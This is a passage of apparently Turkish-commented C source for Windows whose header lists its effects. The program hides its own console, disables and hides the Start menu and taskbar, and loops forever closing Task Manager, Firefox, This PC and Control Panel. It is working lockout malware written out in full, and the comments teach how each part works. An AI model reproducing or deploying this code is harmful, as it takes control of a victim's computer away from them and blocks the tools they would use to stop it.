-Görev Yöneticisi Açılamaz
-Başlat Menüsü Gizlenir
-Başlat Menüsünün Yetkileri Kalkar
-Görev Çubuğu Gizlenir
-Görev Çubuğunun Yetkileri Kalkar
*/
#include <windows.h>//pencere, windows değişkenleri kısacası window API'sini kullanmak için kütüphanemizi tanımlıyoruz
int Gizlen()//Gizlen fonksiyonumuz:
{
AllocConsole();
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);//Dos ekranımızı gizliyorruz 0 olursa gizlenir, 1 olursa gizlenmez
}
int main()
{
int kontrol=0;
Gizlen();//Gizlen fonksiyonumuzu çalıştırıyoruz
HWND mozilla,GorevY,GorevY2,PC,CP,CP2;//değişkenlerimizi tanımlıyoruz
HWND hGorevCubugu,hBaslat;//değişkenlerimizi tanımlıyoruz
hGorevCubugu = FindWindow("Shell_TrayWnd",NULL);//Araç Çubuğunu hGorevCubugu değişkenine atanıyor
hBaslat = FindWindowEx(GetDesktopWindow(),NULL,"Button","Başlat");//Başlat butonu hBaslat değişkenine atanıyor
EnableWindow(hBaslat,kontrol);//0 olduğu zaman hBaslat yani Başlat Menüsü'nün yetkileri kalkacak(tıklanamayacak)
EnableWindow(hGorevCubugu,kontrol);//0 olduğu zaman hGorevCubugu yani Görev Çubuğu'nun yetkileri kalkacak(tıklanamayacak)
while(1)//sonsuz döngüye alıyoruz
{
mozilla = FindWindowEx(0,0,"MozillaUIWindowClass",0);//Mozilla Firefox'u mozilla değişkenine atıyoruz aşağıdaki FindWindow
//fonksiyonlarıdaaynı bu şekide değişkenlere atanıyor
GorevY = FindWindow(NULL,"Task Manager");
GorevY2 = FindWindow(NULL,"Windows Görev Yöneticisi");
PC = FindWindow(NULL, "This PC");
CP = FindWindow(NULL,"Control Panel");
CP2 = FindWindow(NULL,"Kontrol Paneli");
PostMessage(GorevY,WM_CLOSE,(LPARAM)0,(WPARAM)0);//GorevY değişeninine yani Görev Yöneticisi' ne 0 yani Kapat komutu gönderiliyor
//aşağıdakilerde aynı şekide
PostMessage(mozilla,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(GorevY2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(PC,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(CP,WM_CLOSE,(LPARAM)0,(WPARAM)0);
PostMessage(CP2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
ShowWindow(hBaslat,kontrol);/*hBaslat değişkeni yani Başlat Menüsü'nü
1 olursa açık kalır,0 olursa kapanır*/
ShowWindow(hGorevCubugu,kontrol);/*hGorevCubugu değişkeni yani Görev Çubuğunu
1 olursa açık kalır,0 olursa kapanır*/
}
return 0;
}